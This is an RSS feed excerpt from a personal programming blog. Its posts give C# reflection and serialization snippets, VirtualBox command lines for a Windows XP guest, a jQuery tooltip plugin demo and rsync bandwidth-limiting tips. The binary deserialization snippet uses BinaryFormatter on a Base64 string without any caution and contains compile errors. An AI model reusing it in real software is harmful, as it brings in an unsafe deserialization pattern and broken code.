		<description><![CDATA[The following function takes in a System.Collections.Generic.List&#60;T&#62; and returns a System.Data.DataTable with the properties (via reflection) of T as columns. public static System.Data.DataTable ListToDataTable&#60;T&#62;( &#160; &#160; System.Collections.Generic.IList&#60;T&#62; elements) { &#160; &#160; System.Reflection.PropertyInfo[] arrPropInfo = typeof(T).GetProperties(); &#160; &#160; System.Data.DataTable dt = new DataTable(); &#160; &#160; System.Data.DataRow dr; &#160; &#160; foreach (System.Reflection.PropertyInfo pInfo in arrPropInfo) &#160; &#160; [...]]]></description>
			<content:encoded><![CDATA[<div style="float:left;width:93px;height:93px;margin:8px 8px 0px 0px;border:solid 1px #006;background-color:#fff;background-repeat:no-repeat;background-position:15px center;background-image:url('http://www.uhleeka.com/blog/wp-content/uploads/2009/08/windows-150x150.png');"></div>
<p>The following function takes in a System.Collections.Generic.List&lt;T&gt; and returns a System.Data.DataTable with the properties (via reflection) of T as columns.  <span id="more-498"></span></p>
<div style="overflow:hidden;clear:both;"><!-- --></div>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>public static System.Data.DataTable ListToDataTable&lt;T&gt;(
&nbsp; &nbsp; System.Collections.Generic.IList&lt;T&gt; elements)
{
&nbsp; &nbsp; System.Reflection.PropertyInfo[] arrPropInfo = typeof(T).GetProperties();
&nbsp; &nbsp; System.Data.DataTable dt = new DataTable();
&nbsp; &nbsp; System.Data.DataRow dr;

&nbsp; &nbsp; foreach (System.Reflection.PropertyInfo pInfo in arrPropInfo)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; dt.Columns.Add(pInfo.Name, pInfo.PropertyType);
&nbsp; &nbsp; }
&nbsp; &nbsp; foreach(object elem in elements)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; dr = dt.NewRow();
&nbsp; &nbsp; &nbsp; &nbsp; foreach (System.Reflection.PropertyInfo pInfo in arrPropInfo)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dr[pInfo.Name] = pInfo.GetValue(elem, null);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; dt.Rows.Add(dr);
&nbsp; &nbsp; }

&nbsp; &nbsp; return dt;
}</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2010/01/generic-list-to-datatable-using-reflection/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>C# Serialization</title>
		<link>http://www.uhleeka.com/blog/2010/01/c-serialization/</link>
		<comments>http://www.uhleeka.com/blog/2010/01/c-serialization/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 04:15:46 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Code Snippits]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[snippit]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/?p=490</guid>
		<description><![CDATA[Xml Serialization and Binary Serialization to a Base64 string Xml Serialization Snippit: Take a serializable object and serialize it into an xml string, stored in a System.Text.StringBuilder System.Xml.Serialization.XmlSerializer serializer = &#160; &#160; new System.Xml.Serialization.XmlSerializer(typeof(ObjectToSerialize)); System.Text.StringBuilder sb = new System.Text.StringBuilder(); using (System.IO.StringWriter stringWriter = new System.IO.StringWriter(sb)) { &#160; &#160; serializer.Serialize(stringWriter, myObject); &#160; &#160; stringWriter.Close(); } Binary [...]]]></description>
			<content:encoded><![CDATA[<div style="float:left;width:93px;height:93px;margin:8px 8px 0px 0px;border:solid 1px #006;background-color:#fff;background-repeat:no-repeat;background-position:15px center;background-image:url('http://www.uhleeka.com/blog/wp-content/uploads/2009/08/windows-150x150.png');"></div>
<p>Xml Serialization and Binary Serialization to a Base64 string<span id="more-490"></span></p>
<h4 style="clear:both;">Xml Serialization</h4>
<p>Snippit: Take a serializable object and serialize it into an xml string, stored in a System.Text.StringBuilder</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>System.Xml.Serialization.XmlSerializer serializer = 
&nbsp; &nbsp; new System.Xml.Serialization.XmlSerializer(typeof(<em>ObjectToSerialize</em>));
System.Text.StringBuilder sb = new System.Text.StringBuilder();
using (System.IO.StringWriter stringWriter = new System.IO.StringWriter(sb))
{
&nbsp; &nbsp; serializer.Serialize(stringWriter,  <em>myObject</em>);
&nbsp; &nbsp; stringWriter.Close();
}</pre></div></div>

<h4>Binary Serialization to Base64 string</h4>
<p>Snippit:  Take a serializable object and serialize it into a Base64 string</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>byte[] bResult;
System.Runtime.Serialization.IFormatter formatter =
&nbsp; &nbsp; new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
using (System.IO.MemoryStream s = new System.IO.MemoryStream())
{
&nbsp; &nbsp; formatter.Serialize(s, <em>myObject</em>);
&nbsp; &nbsp; bResult = s.ToArray();
&nbsp; &nbsp; s.Close();
}
string s = Convert.ToBase64String(bResult);</pre></div></div>

<p>Snippit: Deserialize</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre><em>ObjectToSerialize myObject</em> = null;
byte[] b = Convert.FromBase64String(str);
System.Runtime.Serialization.IFormatter formatter =
&nbsp; &nbsp; new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
using (System.IO.MemoryStream ms = System.IO.new MemoryStream(b))
{
&nbsp; &nbsp; <em>myObject</em> = (<em>ObjectToSerialize</em>)formatter.Deserialize(ms);
&nbsp; &nbsp; ms.Close();
}</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2010/01/c-serialization/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VirtualBox 3.1 &#8211; Install Windows XP Guest on Ubuntu 9.04 Host</title>
		<link>http://www.uhleeka.com/blog/2009/12/virtualbox-3-1-install-windows-xp-guest-on-ubuntu-9-04-host/</link>
		<comments>http://www.uhleeka.com/blog/2009/12/virtualbox-3-1-install-windows-xp-guest-on-ubuntu-9-04-host/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 03:50:54 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Installs and Configs]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[VirtualBox]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/?p=472</guid>
		<description><![CDATA[VirtualBox 3.1 significantly changed the way that harddisks, dvd/cd drives and floppies are mounted. The following steps are to install Windows XP as a guest on an Ubuntu 9.04 host with a IntelAhci SATA controller. Make sure you download the Windows XP Intel SATA Drivers and unzip to extract &#8220;F32.IMA&#8221;. sudo -i To begin the [...]]]></description>
			<content:encoded><![CDATA[<div style="float:left;width:93px;height:93px;margin:8px 8px 16px 0px;border:solid 1px #036;background-repeat:no-repeat;background-position:center center;background-image:url('http://www.uhleeka.com/blog/wp-content/uploads/2009/02/virtualbox.png');"></div>
<p>VirtualBox 3.1 significantly changed the way that harddisks, dvd/cd drives and floppies are mounted.  The following steps are to install Windows XP as a guest on an Ubuntu 9.04 host with a IntelAhci SATA controller.</p>
<p>Make sure you download the <a href="http://downloadcenter.intel.com/Detail_Desc.aspx?agr=Y&#038;ProductID=1809&#038;DwnldID=14796&#038;strOSs=44&#038;OSFullName=Windows*%20XP%20Professional&#038;lang=eng" target="_blank">Windows XP Intel SATA Drivers</a> and unzip to extract &#8220;F32.IMA&#8221;.<br />
<span id="more-472"></span></p>
<div style="clear:both;height:1px;overflow:hidden;"><!-- --></div>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>sudo -i</pre></div></div>

<p>To begin the install process, do the following steps:</p>
<ul>
<li>Create a new VirtualMachine.</li>
<li>Add three controllers (sata, ide, floppy).</li>
<li>Attach the Intel SATA floppy and the Windows XP dvd iso.</li>
<li>Set the memory, boot order and bridged network connection.</li>
</ul>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>VBoxManage createhd --filename /srv/virtualbox/harddisks/CHANGEME.vdi --size 20480 \
    --variant Standard
VBoxManage createvm --name CHANGEME --ostype "WindowsXP" --register \
    --basefolder /srv/virtualbox/machines
VBoxManage storagectl CHANGEME --name "SATA Controller" --add sata \
    --controller IntelAhci
VBoxManage storageattach CHANGEME --storagectl "SATA Controller" \
    --port 0 --device 0 --type hdd \
    --medium /srv/virtualbox/harddisks/CHANGEME.vdi
VBoxManage storagectl CHANGEME --name "IDE Controller" --add ide
VBoxManage storagectl CHANGEME --name "Floppy Controller" --add floppy
VBoxManage storageattach CHANGEME --storagectl "IDE Controller" \
    --port 0 --device 0 --type dvddrive \
    --medium "/srv/virtualbox/isos/WindowsXP_sp3.iso"
VBoxManage storageattach CHANGEME --storagectl "Floppy Controller" \
    --port 0 --device 0 --type fdd --medium /srv/virtualbox/floppy/F32.IMA
VBoxManage modifyvm CHANGEME --memory 1024 --nic1 bridged --bridgeadapter1 eth0 \
    --boot1 dvd --boot2 disk --boot3 none --boot4 none</pre></div></div>

<p>Start the VM using a specified port (8888) for VRDP.  You will then be able to attach via RDP to the Host IP on the specified port.</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>VBoxHeadless --startvm CHANGEME --vrdpport 8888 --vrdp on &</pre></div></div>

<p>When the Windows XP installation begins, Hit F6 during setup and select the <strong>Intel(R) 82801HEM/HBM SATA AHCI Controller (Mobile ICH8M-E/M)</strong> driver.  Proceed with the Windows XP install until reboot is required.  </p>
<p>At some point, post install, you may optionally take the following steps:</p>
<ul>
<li>Eject the Windows XP dvd iso.</li>
<li>Attach (and then install) the VirtualBox Guest Additions dvd iso.</li>
<li>Eject the Intel SATA floppy.  Note: it can only be ejected while the machine is powered off; it should be ejected because it will otherwise be locked, such that other VM&#8217;s cannot use it.</li>
<li>Change the boot order.</li>
</ul>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>VBoxManage storageattach CHANGEME --storagectl "IDE Controller" \
    --port 0 --device 0 --medium none
VBoxManage storageattach CHANGEME --storagectl "IDE Controller" \
    --port 0 --device 0 --type dvddrive \
    --medium /usr/share/virtualbox/VBoxGuestAdditions.iso 
VBoxManage storageattach CHANGEME --storagectl "FLOPPY Controller" \
    --port 0 --device 0 --type fdd --medium none
VBoxManage modifyvm CHANGEME --boot1 disk --boot2 none</pre></div></div>

<p>Don&#8217;t forget to run windows updates!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2009/12/virtualbox-3-1-install-windows-xp-guest-on-ubuntu-9-04-host/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>bubbletip! A jQuery Coda-style bubble tooltip plugin</title>
		<link>http://www.uhleeka.com/blog/2009/11/bubbletip/</link>
		<comments>http://www.uhleeka.com/blog/2009/11/bubbletip/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 02:26:46 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Scripting]]></category>
		<category><![CDATA[bubbletip]]></category>
		<category><![CDATA[Coda]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[ToolTip]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/?p=436</guid>
		<description><![CDATA[Download http://code.google.com/p/bubbletip/downloads/list Demo page http://uhleeka.com/demo/bubbletip/ Discuss http://groups.google.com/group/bubbletip Features multiple tips on a page multiple tips per jQuery element tips open outward in four directions: up down left right tips can be: anchored to the triggering jQuery element absolutely positioned opened at the current mouse coordinates anchored to a specified jQuery element IE png transparency is [...]]]></description>
			<content:encoded><![CDATA[<h4>Download</h4>
<p><a href="http://code.google.com/p/bubbletip/downloads/list">http://code.google.com/p/bubbletip/downloads/list</a></p>
<h4>Demo page</h4>
<p><a href="http://uhleeka.com/demo/bubbletip/">http://uhleeka.com/demo/bubbletip/</a></p>
<h4>Discuss</h4>
<p><a href="http://groups.google.com/group/bubbletip">http://groups.google.com/group/bubbletip</a></p>
<h4>Features</h4>
<ul>
<li>multiple tips on a page</li>
<li>multiple tips per jQuery element</li>
<li>tips open outward in four directions:
<ul>
<li>up</li>
<li>down</li>
<li>left</li>
<li>right</li>
</ul>
</li>
<li>tips can be:
<ul>
<li>anchored to the triggering jQuery element</li>
<li>absolutely positioned</li>
<li>opened at the current mouse coordinates</li>
<li>anchored to a specified jQuery element</li>
</ul>
</li>
<li>IE png transparency is handled via filters</li>
</ul>
<h4>Tested (lightly)</h4>
<ul>
<li>IE 6 on XP</li>
<li>IE 7 and 8 on Vista</li>
<li>Firefox 3.5 on Vista</li>
<li>Chrome 3.0 on Vista</li>
<li>Safari 3.2 on Vista</li>
</ul>
<h4>Examples</h4>
<p>MOUSEOVER to open a tooltip <a id="a1_up" href="#">above</a>, <a id="a1_down" href="#">below</a>, <a id="a1_left" href="#">to the left</a> or <a id="a1_right" href="#">to the right</a> of any element.</p>
<p>MOUSEOVER a <a id="a1_trigger" href="#">trigger element</a> to open a tooltip above and below a <a id="a1_target" href="#">target element</a>.<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" type="text/javascript"></script><script src="http://www.uhleeka.com/blog/wp-content/uploads/2009/11/jQuery.bubbletip-1.0.4.js" type="text/javascript"></script>
<link href="http://www.uhleeka.com/blog/wp-content/uploads/2009/11/bubbletip/bubbletip.css" rel="stylesheet" type="text/css" /><!--[if IE]>
<link href="http://www.uhleeka.com/blog/wp-content/uploads/2009/11/bubbletip/bubbletip-IE.css" rel="stylesheet" type="text/css" /><![endif]--><script type="text/javascript">
		$(document).ready(function() {
			$('#a1_up').bubbletip($('#tip1_up'));
			$('#a1_down').bubbletip($('#tip1_down'), {
				deltaDirection: 'down',
				deltaPosition: 50,
				offsetTop: 20
			});
			$('#a1_left').bubbletip($('#tip1_left'), {
				deltaDirection: 'left',
				animationDuration: 100,
				offsetLeft: -20
			});
			$('#a1_right').bubbletip($('#tip1_right'), { deltaDirection: 'right' });
			$('#a1_trigger').bubbletip($('#tip1_trigger1'), { positionAtElement: $('#a1_target') });
			$('#a1_trigger').bubbletip($('#tip1_trigger2'), {
				positionAtElement: $('#a1_target'),
				deltaDirection: 'down'
			});
		});
	</script><br />
<style type="text/css">
pre.tip
		{
			margin: 0px;
			padding: 5px;
			font-size: 0.9em;	
		}
</style>
<div style="display:none;">
<div id="tip1_up" style="display:none;">
<pre class="tip">{ deltaDirection: 'up' }</pre>
</div>
<div id="tip1_down" style="display:none;">
<pre class="tip">{
    deltaDirection: 'down',
    deltaPosition: 100,
    offsetTop: 10
}</pre>
</div>
<div id="tip1_left" style="display:none;">
<pre class="tip">{
    deltaDirection: 'left',
    animationDuration: 100,
    offsetLeft: -20
}</pre>
</div>
<div id="tip1_right" style="display:none;"><img src="http://www.uhleeka.com/blog/wp-content/uploads/2009/11/bubble.jpg" width="128" height="128" /></div>
<div id="tip1_trigger1" style="display:none;">
<pre class="tip">{
    deltaDirection: 'up',
    positionAtElement: $('#a1_target')
}</pre>
</div>
<div id="tip1_trigger2" style="display:none;">
<pre class="tip">{
    deltaDirection: 'down',
    positionAtElement: $('#a1_target')
}</pre>
</div>
</div>
<p><span id="more-436"></span><br />
<h4>Using it?</h4>
<p>If you enjoy using it, I&#8217;d love to hear about it.  Drop a comment with a link!</p>
<h4>Credit</h4>
<p>bubbletip was inspired by <a href="http://jqueryfordesigners.com/coda-popup-bubbles/" rel="nofollow">http://jqueryfordesigners.com/coda-popup-bubbles/</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2009/11/bubbletip/feed/</wfw:commentRss>
		<slash:comments>98</slash:comments>
		</item>
		<item>
		<title>VirtualBox BSOD p3.sys</title>
		<link>http://www.uhleeka.com/blog/2009/10/virtualbox-bsod-p3-sys/</link>
		<comments>http://www.uhleeka.com/blog/2009/10/virtualbox-bsod-p3-sys/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 05:29:31 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Installs and Configs]]></category>
		<category><![CDATA[BSOD]]></category>
		<category><![CDATA[VirtualBox]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/2009/10/virtualbox-bsod-p3-sys/</guid>
		<description><![CDATA[After converting a physical machine to .vmdk via VMWare Converter, I got a BSOD indicating that there was a problem with p3.sys when trying to boot. The Windows XP system was running on a PII 600mHz Dell Optiplex from the year 2000. To fix, boot in Safe Mode and run the following at a command [...]]]></description>
			<content:encoded><![CDATA[<div style="float:left;width:93px;height:93px;margin:8px 8px 16px 0px;border:solid 1px #036;background-repeat:no-repeat;background-position:center center;background-image:url('http://www.uhleeka.com/blog/wp-content/uploads/2009/02/virtualbox.png');"></div>
<p>After converting a physical machine to .vmdk via VMWare Converter, I got a BSOD indicating that there was a problem with <strong>p3.sys</strong> when trying to boot.  The Windows XP system was running on a PII 600mHz Dell Optiplex from the year 2000.</p>
<div style="clear:both;"></div>
<p>To fix, boot in Safe Mode and run the following at a command prompt:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>sc config p3 start= disabled</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2009/10/virtualbox-bsod-p3-sys/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Install Windows XP Guest on Ubuntu 9.04 Host</title>
		<link>http://www.uhleeka.com/blog/2009/10/install-windows-xp-guest-on-ubuntu-9-04-host/</link>
		<comments>http://www.uhleeka.com/blog/2009/10/install-windows-xp-guest-on-ubuntu-9-04-host/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 04:46:26 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Installs and Configs]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[VirtualBox]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/?p=416</guid>
		<description><![CDATA[Create a Windows XP VirtualBox guest from scratch using a SATA harddrive. Download the Windows XP Intel SATA Drivers and unzip to extract F32.IMA Hit F6 during setup to select the Intel(R) 82801HEM/HBM SATA AHCI Controller (Mobile ICH8M-E/M) sudo -i VBoxManage createhd --filename /srv/virtualbox/harddisks/CHANGEME.vdi --size 20480 \ --variant Standard VBoxManage createvm --name CHANGEME --ostype "WindowsXP" [...]]]></description>
			<content:encoded><![CDATA[<p>Create a Windows XP VirtualBox guest from scratch using a SATA harddrive.  </p>
<ul>
<li>Download the <a href="http://downloadcenter.intel.com/Detail_Desc.aspx?agr=Y&#038;ProductID=1809&#038;DwnldID=14796&#038;strOSs=44&#038;OSFullName=Windows*%20XP%20Professional&#038;lang=eng" target="_blank">Windows XP Intel SATA Drivers</a> and unzip to extract F32.IMA</li>
<li>Hit F6 during setup to select the <strong>Intel(R) 82801HEM/HBM SATA AHCI Controller (Mobile ICH8M-E/M)</strong></li>
</ul>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>sudo -i</pre></div></div>


<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>VBoxManage createhd --filename /srv/virtualbox/harddisks/CHANGEME.vdi --size 20480 \
    --variant Standard
VBoxManage createvm --name CHANGEME --ostype "WindowsXP" --register \
    --basefolder /srv/virtualbox/machines
VBoxManage modifyvm CHANGEME --memory 1024 \
    --boot1 dvd --boot2 disk --boot3 none --boot4 none \
    --sata on --sataportcount 1 \
    --sataport1 /srv/virtualbox/harddisks/CHANGEME.vdi \
    --dvd /srv/virtualbox/iso/WindowsXP_sp3.iso \
    --floppy /srv/virtualbox/floppy/F32.IMA \
    --nic1 bridged --bridgeadapter1 eth0</pre></div></div>

<p><span id="more-416"></span>Start the VM without a gui (note: the ampersand executes the command and returns you to the prompt)</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>VBoxHeadless --startvm CHANGEME &</pre></div></div>

<p>Start the VM without a gui and without VRDP (after you have loaded the os and configured remote desktop accessability).</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>VBoxHeadless --startvm CHANGEME --vrdp off &</pre></div></div>

<p>Stop the VM in a saved state</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>VBoxManage controlvm CHANGEME savestate</pre></div></div>

<p>Power off the VM (like pulling the plug)</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>VBoxManage controlvm CHANGEME poweroff</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2009/10/install-windows-xp-guest-on-ubuntu-9-04-host/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Limiting network file transfer throughput with rsync</title>
		<link>http://www.uhleeka.com/blog/2009/10/limiting-network-file-transfer-throughput-with-rsync/</link>
		<comments>http://www.uhleeka.com/blog/2009/10/limiting-network-file-transfer-throughput-with-rsync/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 19:42:32 +0000</pubDate>
		<dc:creator>uhleeka</dc:creator>
				<category><![CDATA[Installs and Configs]]></category>
		<category><![CDATA[ntop]]></category>
		<category><![CDATA[rsync]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.uhleeka.com/blog/?p=404</guid>
		<description><![CDATA[To transfer a large amount of data (200GB) across a 100mbps network without saturating the connection, I used rsync with the &#8211;bwlimit=KBps flag. Transferring from Windows to Ubuntu 9.04, I first mounted the windows share: sudo mkdir /mnt/winshare sudo mount -t smbfs -o username=user,password=pass //winserver/share /mnt/winshare Next, run rsync with a specified bwlimit. Optionally, unmount [...]]]></description>
			<content:encoded><![CDATA[<p>To transfer a large amount of data (200GB) across a 100mbps network without saturating the connection, I used <strong>rsync</strong> with the <strong>&#8211;bwlimit=KBps</strong> flag.</p>
<p>Transferring from Windows to Ubuntu 9.04, I first mounted the windows share:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>sudo mkdir /mnt/winshare
sudo mount -t smbfs -o username=user,password=pass //winserver/share /mnt/winshare</pre></div></div>

<p>Next, run <strong>rsync</strong> with a specified <strong>bwlimit</strong>. Optionally, unmount the share</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>sudo rsync -vrR --delete --delete-excluded --bwlimit=6144 /mnt/winshare/* /destination/
sudo umount /mnt/winshare</pre></div></div>

<p><span id="more-404"></span><br />
Note that the bwlimit is in <strong>kilobytes</strong> not kilobits &#8212; 6144 KB ~= 48 Mbps.  Also note that the bwlimit is limiting the I/O bandwidth&#8230;whatever that means.</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>    --bwlimit=KBPS          limit I/O bandwidth; KBytes per second</pre></div></div>

<p>NTop (<a href="http://www.ntop.org" target="_blank">http://www.ntop.org</a>) is great for tracking bandwidth usage:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>sudo apt-get update
sudo apt-get install ntop</pre></div></div>

<p>Set the administrative account password for ntop to run under:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>sudo ntop -A</pre></div></div>

<p>Start the service:</p>

<div class="uhleeka_codebox"><div class="uhleeka_codebox_in"><pre>sudo /etc/init.d/ntop start</pre></div></div>

<p>Browse the reports on the default port, 3000.  http://yourserver:3000/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.uhleeka.com/blog/2009/10/limiting-network-file-transfer-throughput-with-rsync/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
